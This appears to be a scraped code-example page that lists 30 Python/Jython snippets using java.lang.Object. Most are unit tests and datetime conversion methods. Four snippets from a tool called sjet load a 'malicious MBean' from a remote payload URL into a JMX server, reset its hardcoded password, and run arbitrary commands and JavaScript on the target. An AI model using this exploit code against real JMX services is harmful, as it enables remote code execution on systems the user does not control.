Python java.lang.Object() Examples
The following are 30
code examples of java.lang.Object().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
java.lang
, or try the search function
.
![](https://www.programcreek.com/common/static/images/search.png)
Example #1
Source File: test_array.py From chaquopy with MIT License | 6 votes |
def test_blank(self): array_Z = jarray(jboolean)(2) self.assertEqual(2, len(array_Z)) self.assertEqual([False, False], array_Z) array_C = jarray(jchar)(3) self.assertEqual(3, len(array_C)) self.assertEqual(["\u0000", "\u0000", "\u0000"], array_C) array_I = jarray(jint)(2) self.assertEqual(2, len(array_I)) self.assertEqual([0, 0], array_I) from java.lang import Object array_Object = jarray(Object)(3) self.assertEqual(3, len(array_Object)) self.assertEqual([None, None, None], array_Object) array_empty = jarray(Object)(0) self.assertEqual(0, len(array_empty)) self.assertEqual([], array_empty) # More conversion tests in test_conversion.py
Example #2
Source File: datetime.py From CTFCrackTools-V2 with GNU General Public License v3.0 | 6 votes |
def __tojava__(self, java_class): if java_class not in (Calendar, Time, Object): return Py.NoConversion calendar = _make_java_calendar(self) if calendar == Py.NoConversion: return Py.NoConversion #initialize to epoch time - effectively clear out the current date from the calendar. calendar.setTimeInMillis(0); #now setup the calendar to have the details populated from this time. calendar.set(Calendar.HOUR_OF_DAY, self.hour) calendar.set(Calendar.MINUTE, self.minute) calendar.set(Calendar.SECOND, self.second) calendar.set(Calendar.MILLISECOND, self.microsecond // 1000) if java_class == Calendar: return calendar else: return Time(calendar.getTimeInMillis())
Example #3
Source File: datetime.py From CTFCrackTools-V2 with GNU General Public License v3.0 | 6 votes |
def __tojava__(self, java_class): if java_class not in (Calendar, Timestamp, Object): return Py.NoConversion calendar = _make_java_calendar(self) if calendar == Py.NoConversion: return Py.NoConversion calendar.set(self.year, self.month - 1, self.day, self.hour, self.minute, self.second) if java_class == Calendar: calendar.set(Calendar.MILLISECOND, self.microsecond // 1000) return calendar else: timestamp = Timestamp(calendar.getTimeInMillis()) timestamp.setNanos(self.microsecond * 1000) return timestamp
Example #4
Source File: datetime.py From CTFCrackTools-V2 with GNU General Public License v3.0 | 6 votes |
def __tojava__(self, java_class): if java_class not in (Calendar, Time, Object): return Py.NoConversion calendar = _make_java_calendar(self) if calendar == Py.NoConversion: return Py.NoConversion #initialize to epoch time - effectively clear out the current date from the calendar. calendar.setTimeInMillis(0); #now setup the calendar to have the details populated from this time. calendar.set(Calendar.HOUR_OF_DAY, self.hour) calendar.set(Calendar.MINUTE, self.minute) calendar.set(Calendar.SECOND, self.second) calendar.set(Calendar.MILLISECOND, self.microsecond // 1000) if java_class == Calendar: return calendar else: return Time(calendar.getTimeInMillis())
Example #5
Source File: datetime.py From CTFCrackTools with GNU General Public License v3.0 | 6 votes |
def __tojava__(self, java_class): if java_class not in (Calendar, Time, Object): return Py.NoConversion calendar = _make_java_calendar(self) if calendar == Py.NoConversion: return Py.NoConversion #initialize to epoch time - effectively clear out the current date from the calendar. calendar.setTimeInMillis(0); #now setup the calendar to have the details populated from this time. calendar.set(Calendar.HOUR_OF_DAY, self.hour) calendar.set(Calendar.MINUTE, self.minute) calendar.set(Calendar.SECOND, self.second) calendar.set(Calendar.MILLISECOND, self.microsecond // 1000) if java_class == Calendar: return calendar else: return Time(calendar.getTimeInMillis())
Example #6
Source File: datetime.py From medicare-demo with Apache License 2.0 | 6 votes |
def __tojava__(self, java_class): # TODO, if self.tzinfo is not None, convert time to UTC if java_class not in (Calendar, Timestamp, Object): return Py.NoConversion calendar = Calendar.getInstance() calendar.clear() calendar.set(self.year, self.month - 1, self.day, self.hour, self.minute, self.second) if java_class == Calendar: calendar.set(Calendar.MILLISECOND, self.microsecond // 1000) return calendar else: timestamp = Timestamp(calendar.getTimeInMillis()) timestamp.setNanos(self.microsecond * 1000) return timestamp
Example #7
Source File: datetime.py From CTFCrackTools with GNU General Public License v3.0 | 6 votes |
def __tojava__(self, java_class): if java_class not in (Calendar, Timestamp, Object): return Py.NoConversion calendar = _make_java_calendar(self) if calendar == Py.NoConversion: return Py.NoConversion calendar.set(self.year, self.month - 1, self.day, self.hour, self.minute, self.second) if java_class == Calendar: calendar.set(Calendar.MILLISECOND, self.microsecond // 1000) return calendar else: timestamp = Timestamp(calendar.getTimeInMillis()) timestamp.setNanos(self.microsecond * 1000) return timestamp
Example #8
Source File: datetime.py From CTFCrackTools with GNU General Public License v3.0 | 6 votes |
def __tojava__(self, java_class): if java_class not in (Calendar, Time, Object): return Py.NoConversion calendar = _make_java_calendar(self) if calendar == Py.NoConversion: return Py.NoConversion #initialize to epoch time - effectively clear out the current date from the calendar. calendar.setTimeInMillis(0); #now setup the calendar to have the details populated from this time. calendar.set(Calendar.HOUR_OF_DAY, self.hour) calendar.set(Calendar.MINUTE, self.minute) calendar.set(Calendar.SECOND, self.second) calendar.set(Calendar.MILLISECOND, self.microsecond // 1000) if java_class == Calendar: return calendar else: return Time(calendar.getTimeInMillis())
Example #9
Source File: test_array.py From chaquopy with MIT License | 6 votes |
def test_modify(self): Object = jclass("java.lang.Object") array_Z = jarray(jboolean)([True, False]) with self.assertRaisesRegexp(TypeError, "Cannot convert int object to boolean"): array_Z[0] = 1 with self.assertRaisesRegexp(TypeError, "Cannot convert Object object to boolean"): array_Z[0] = Object() Boolean = jclass("java.lang.Boolean") array_Boolean = jarray(Boolean)([True, False]) with self.assertRaisesRegexp(TypeError, "Cannot convert int object to java.lang.Boolean"): array_Boolean[0] = 1 with self.assertRaisesRegexp(TypeError, "Cannot convert int object to java.lang.Boolean"): cast(jarray(Object), array_Boolean)[0] = 1 array_Object = jarray(Object)([True, False]) array_Object[0] = 1 self.assertEqual([1, False], array_Object)
Example #10
Source File: datetime.py From CTFCrackTools with GNU General Public License v3.0 | 5 votes |
def __tojava__(self, java_class): if java_class not in (Calendar, Date, Object): return Py.NoConversion if java_class == Calendar: calendar = _make_java_utc_calendar() calendar.set(self.year, self.month - 1, self.day) return calendar else: calendar = _make_java_default_calendar() calendar.set(self.year, self.month - 1, self.day) return Date(calendar.getTimeInMillis())
Example #11
Source File: datetime.py From CTFCrackTools with GNU General Public License v3.0 | 5 votes |
def __tojava__(self, java_class): if java_class not in (Calendar, Date, Object): return Py.NoConversion if java_class == Calendar: calendar = _make_java_utc_calendar() calendar.set(self.year, self.month - 1, self.day) return calendar else: calendar = _make_java_default_calendar() calendar.set(self.year, self.month - 1, self.day) return Date(calendar.getTimeInMillis())
Example #12
Source File: test_array_jy.py From CTFCrackTools with GNU General Public License v3.0 | 5 votes |
def test_java_roundtrip(self): # bug 1543 from java.lang import Object x = array(Object, [0,1,2]) x.append(3) y = array(Object, [x]) # forces an implicit __tojava__ self.assertEqual(x, y[0], "Did not shrink to fit")
Example #13
Source File: test_array.py From chaquopy with MIT License | 5 votes |
def test_basic(self): array_C = jarray(jchar)("hello") self.assertEqual(5, len(array_C)) self.assertEqual(repr(array_C), "jarray('C')(['h', 'e', 'l', 'l', 'o'])") self.assertTrue(isinstance(array_C, jclass("java.lang.Object"))) self.assertTrue(isinstance(array_C, jclass("java.lang.Cloneable"))) self.assertTrue(isinstance(array_C, jclass("java.io.Serializable"))) self.assertFalse(isinstance(array_C, jclass("java.io.Closeable"))) self.assertRegexpMatches(array_C.toString(), r"^\[C")
Example #14
Source File: sjet.py From sjet with MIT License | 5 votes |
def executeJS(password, js, bean_server): # Payload execution # Load the Payload Met and invoke a method on it mlet_bean = bean_server.getObjectInstance(ObjectName("Siberas:name=payload,id=1")) print "[+] Loaded " + str(mlet_bean.getClassName()) print "[+] Executing script" inv_array1 = jarray.zeros(2, Object) inv_array1[0] = password inv_array1[1] = js inv_array2 = jarray.zeros(2, String) inv_array2[0] = String.canonicalName inv_array2[1] = String.canonicalName resource = bean_server.invoke(mlet_bean.getObjectName(), "runJS", inv_array1, inv_array2) if resource is not None: print resource sys.stdout.write("\n") sys.stdout.flush() ### /JAVASCRIPT MODE ### ### SHELL MODE ###
Example #15
Source File: test_decimal_jy.py From CTFCrackTools with GNU General Public License v3.0 | 5 votes |
def test_object(self): x = Decimal("1.1") y = x.__tojava__(Object) self.assertTrue(isinstance(y, BigDecimal))
Example #16
Source File: sjet.py From sjet with MIT License | 5 votes |
def executeCommand(password, cmd, bean_server): # Payload execution # Load the Payload Met and invoke a method on it mlet_bean = bean_server.getObjectInstance(ObjectName("Siberas:name=payload,id=1")) print "[+] Loaded " + str(mlet_bean.getClassName()) print "[+] Executing command: " + cmd inv_array1 = jarray.zeros(2, Object) inv_array1[0] = password inv_array1[1] = cmd inv_array2 = jarray.zeros(2, String) inv_array2[0] = String.canonicalName inv_array2[1] = String.canonicalName resource = bean_server.invoke(mlet_bean.getObjectName(), "runCMD", inv_array1, inv_array2) print resource sys.stdout.write("\n") sys.stdout.flush() ### /COMMAND MODE ### ### JAVASCRIPT MODE ###
Example #17
Source File: sjet.py From sjet with MIT License | 5 votes |
def changePassword(password, newpass, bean_server): # Payload execution # Load the Payload Met and invoke a method on it mlet_bean = bean_server.getObjectInstance(ObjectName("Siberas:name=payload,id=1")) print "[+] Loaded " + str(mlet_bean.getClassName()) inv_array1 = jarray.zeros(2, Object) inv_array1[0] = password inv_array1[1] = newpass inv_array2 = jarray.zeros(2, String) inv_array2[0] = String.canonicalName inv_array2[1] = String.canonicalName resource = bean_server.invoke(mlet_bean.getObjectName(), "changePassword", inv_array1, inv_array2) if str(resource) == "True": print "[+] Successfully changed password" else: print "[-] Unable to change password" sys.stdout.write("\n") sys.stdout.flush() ### /CHANGE PASSWORD MODE ### ### COMMAND MODE ###
Example #18
Source File: sjet.py From sjet with MIT License | 5 votes |
def installMBeans(args, bean_server): # Installation, load javax.management.loading.MLet to install additional MBeans # If loading fails, the Mlet is already loaded... try: mlet_bean = bean_server.createMBean("javax.management.loading.MLet", None) except: # MLet Bean can't be created because it already exists mlet_bean = bean_server.getObjectInstance(ObjectName("DefaultDomain:type=MLet")) print "[+] Loaded " + str(mlet_bean.getClassName()) # Install payload Mlet via getMbeansFromURL # pass the URL of the web server print "[+] Loading malicious MBean from " + args.payload_url print "[+] Invoking: "+ mlet_bean.getClassName() + ".getMBeansFromURL" inv_array1 = jarray.zeros(1, Object) inv_array1[0] = args.payload_url inv_array2 = jarray.zeros(1, String) inv_array2[0] = String.canonicalName resource = bean_server.invoke(mlet_bean.getObjectName(), "getMBeansFromURL", inv_array1, inv_array2) # Check if the Mlet was loaded successfully for res in resource: if res.__class__.__name__ == "InstanceAlreadyExistsException": print "[+] Object instance already existed, no need to install it a second time" elif res.__class__.__name__ == "ObjectInstance": print "[+] Successfully loaded MBean" + str(res.getObjectName()) # Change the password from "I+n33d+a+glass+0f+watta" to the new value print "[+] Changing default password..." changePassword("I+n33d+a+glass+0f+watta", args.password, bean_server) else: print res
Example #19
Source File: test_decimal_jy.py From CTFCrackTools-V2 with GNU General Public License v3.0 | 5 votes |
def test_object(self): x = Decimal("1.1") y = x.__tojava__(Object) self.assertTrue(isinstance(y, BigDecimal))
Example #20
Source File: test_array_jy.py From CTFCrackTools-V2 with GNU General Public License v3.0 | 5 votes |
def test_java_roundtrip(self): # bug 1543 from java.lang import Object x = array(Object, [0,1,2]) x.append(3) y = array(Object, [x]) # forces an implicit __tojava__ self.assertEqual(x, y[0], "Did not shrink to fit")
Example #21
Source File: datetime.py From CTFCrackTools-V2 with GNU General Public License v3.0 | 5 votes |
def __tojava__(self, java_class): if java_class not in (Calendar, Date, Object): return Py.NoConversion if java_class == Calendar: calendar = _make_java_utc_calendar() calendar.set(self.year, self.month - 1, self.day) return calendar else: calendar = _make_java_default_calendar() calendar.set(self.year, self.month - 1, self.day) return Date(calendar.getTimeInMillis())
Example #22
Source File: datetime.py From CTFCrackTools-V2 with GNU General Public License v3.0 | 5 votes |
def __tojava__(self, java_class): if java_class not in (Calendar, Date, Object): return Py.NoConversion if java_class == Calendar: calendar = _make_java_utc_calendar() calendar.set(self.year, self.month - 1, self.day) return calendar else: calendar = _make_java_default_calendar() calendar.set(self.year, self.month - 1, self.day) return Date(calendar.getTimeInMillis())
Example #23
Source File: test_array_jy.py From medicare-demo with Apache License 2.0 | 5 votes |
def test_java_roundtrip(self): # bug 1543 from java.lang import Object x = array(Object, [0,1,2]) x.append(3) y = array(Object, [x]) # forces an implicit __tojava__ self.assertEqual(x, y[0], "Did not shrink to fit")
Example #24
Source File: datetime.py From medicare-demo with Apache License 2.0 | 5 votes |
def __tojava__(self, java_class): # TODO, if self.tzinfo is not None, convert time to UTC if java_class not in (Calendar, Time, Object): return Py.NoConversion calendar = Calendar.getInstance() calendar.clear() calendar.set(Calendar.HOUR_OF_DAY, self.hour) calendar.set(Calendar.MINUTE, self.minute) calendar.set(Calendar.SECOND, self.second) calendar.set(Calendar.MILLISECOND, self.microsecond // 1000) if java_class == Calendar: return calendar else: return Time(calendar.getTimeInMillis())
Example #25
Source File: datetime.py From medicare-demo with Apache License 2.0 | 5 votes |
def __tojava__(self, java_class): if java_class not in (Calendar, Date, Object): return Py.NoConversion calendar = Calendar.getInstance() calendar.clear() calendar.set(self.year, self.month - 1, self.day) if java_class == Calendar: return calendar else: return Date(calendar.getTimeInMillis())
Example #26
Source File: decimal.py From medicare-demo with Apache License 2.0 | 5 votes |
def __tojava__(self, java_class): if java_class not in (BigDecimal, Object): return Py.NoConversion return BigDecimal(str(self))
Example #27
Source File: test_array.py From chaquopy with MIT License | 5 votes |
def test_cast(self): Object = jclass("java.lang.Object") Boolean = jclass("java.lang.Boolean") Boolean_array = jarray(Boolean)([True, False]) Boolean_array_Object_array = cast(jarray(Object), Boolean_array) self.assertIsNot(Boolean_array, Boolean_array_Object_array) self.assertEqual(Boolean_array, Boolean_array_Object_array) self.assertIs(Boolean_array_Object_array, cast(jarray(Object), Boolean_array)) self.assertIs(Boolean_array, cast(jarray(Boolean), Boolean_array_Object_array)) Boolean_array_Object = cast(Object, Boolean_array) self.assertIsNot(Boolean_array, Boolean_array_Object) self.assertEqual(Boolean_array, Boolean_array_Object) self.assertIs(Boolean_array_Object, cast(Object, Boolean_array)) self.assertIs(Boolean_array, cast(jarray(Boolean), Boolean_array_Object)) with self.assertRaisesRegexp(TypeError, r"cannot create boolean\[\] proxy from " r"java.lang.Boolean\[\] instance"): cast(jarray(jboolean), Boolean_array) with self.assertRaisesRegexp(TypeError, r"cannot create java.lang.Object\[\] proxy from " "java.lang.Object instance"): cast(jarray(Object), Object()) Object_array = jarray(Object)([]) with self.assertRaisesRegexp(TypeError, r"cannot create java.lang.Boolean proxy from " r"java.lang.Object\[\] instance"): cast(Boolean, Object_array) with self.assertRaisesRegexp(TypeError, r"cannot create java.lang.Boolean\[\] proxy from " r"java.lang.Object\[\] instance"): cast(jarray(Boolean), Object_array) Z_array = jarray(jboolean)([True, False]) with self.assertRaisesRegexp(TypeError, r"cannot create java.lang.Boolean\[\] proxy from " r"boolean\[\] instance"): cast(jarray(Boolean), Z_array) with self.assertRaisesRegexp(TypeError, r"cannot create java.lang.Object\[\] proxy from " r"boolean\[\] instance"): cast(jarray(Object), Z_array)
Example #28
Source File: test_array.py From chaquopy with MIT License | 5 votes |
def test_conversion(self): Object = jclass("java.lang.Object") Integer = jclass("java.lang.Integer") TestArray = jclass('com.chaquo.python.TestArray') # All object arrays, primitive arrays, and Python iterables are assignable to Object, # Cloneable and Serializable for array in [jarray(Object)(["hello", 42]), jarray(Integer)([11, 22]), jarray(jboolean)([False, True]), [False, True]]: for field in ["object", "cloneable", "serializable"]: setattr(TestArray, field, array) self.assertEqual(array, getattr(TestArray, field)) with self.assertRaisesRegexp(TypeError, "Cannot convert"): setattr(TestArray, "closeable", array)
Example #29
Source File: test_gc_jy.py From CTFCrackTools-V2 with GNU General Public License v3.0 | 4 votes |
def test_raw_forced_delayed(self): comments = [] class Test_JavaAbortFinalizable(Object): def __init__(self, name, toAbort): self.name = name self.toAbort = toAbort def __repr__(self): return "<"+self.name+">" def finalize(self): gc.notifyPreFinalization() comments.append("del "+self.name) gc.abortDelayedFinalization(self.toAbort) # We manually restore weak references: gc.restoreWeakReferences(self.toAbort) gc.notifyPostFinalization() class Test_Finalizable(object): def __init__(self, name): self.name = name def __repr__(self): return "<"+self.name+">" def __del__(self): comments.append("del "+self.name) def callback_a(obj): comments.append("callback_a") def callback_b(obj): comments.append("callback_b") a = Test_Finalizable("a") wa = weakref.ref(a, callback_a) b = Test_JavaAbortFinalizable("b", a) wb = weakref.ref(b, callback_b) gc.addJythonGCFlags(gc.FORCE_DELAYED_FINALIZATION) gc.addJythonGCFlags(gc.FORCE_DELAYED_WEAKREF_CALLBACKS) self.assertTrue(gc.delayedFinalizationEnabled()) self.assertTrue(gc.delayedWeakrefCallbacksEnabled()) self.assertEqual(len(comments), 0) del a del b System.gc() time.sleep(2) self.assertIsNotNone(wa()) self.assertIsNone(wb()) self.assertIn('del b', comments) self.assertNotIn('callback_a', comments) self.assertIn('callback_b', comments) self.assertNotIn('del a', comments) self.assertEqual(2, len(comments)) gc.removeJythonGCFlags(gc.FORCE_DELAYED_FINALIZATION) gc.removeJythonGCFlags(gc.FORCE_DELAYED_WEAKREF_CALLBACKS)
Example #30
Source File: test_gc_jy.py From CTFCrackTools-V2 with GNU General Public License v3.0 | 4 votes |
def test_raw_forced_delayedWeakrefCallback(self): comments = [] resurrected = [] class Test_JavaResurrectFinalizable(Object): def __init__(self, name, toResurrect): self.name = name self.toResurrect = toResurrect def __repr__(self): return "<"+self.name+">" # Note that this type of finalizer is usually not recommended # as it gets lost in case of resurrection. def finalize(self): gc.notifyPreFinalization() comments.append("del "+self.name) resurrected.append(self.toResurrect) # We manually restore weak references: gc.restoreWeakReferences(self.toResurrect) gc.notifyPostFinalization() class Test_Finalizable(object): def __init__(self, name): self.name = name def __repr__(self): return "<"+self.name+">" def __del__(self): comments.append("del "+self.name) def callback(obj): comments.append("callback") a = Test_Finalizable("a") b = Test_JavaResurrectFinalizable("b", a) wa = weakref.ref(a, callback) gc.removeJythonGCFlags(gc.FORCE_DELAYED_FINALIZATION) gc.addJythonGCFlags(gc.FORCE_DELAYED_WEAKREF_CALLBACKS) self.assertFalse(gc.delayedFinalizationEnabled()) self.assertTrue(gc.delayedWeakrefCallbacksEnabled()) self.assertEqual(len(comments), 0) aStr = str(a) del a del b System.gc() time.sleep(2) self.assertIn("del a", comments) self.assertIn("del b", comments) self.assertEqual(1, len(resurrected)) self.assertEqual(str(resurrected[0]), aStr) self.assertIsNotNone(wa()) self.assertEqual(resurrected[0], wa()) self.assertNotIn("callback", comments) self.assertEqual(2, len(comments)) gc.removeJythonGCFlags(gc.FORCE_DELAYED_WEAKREF_CALLBACKS)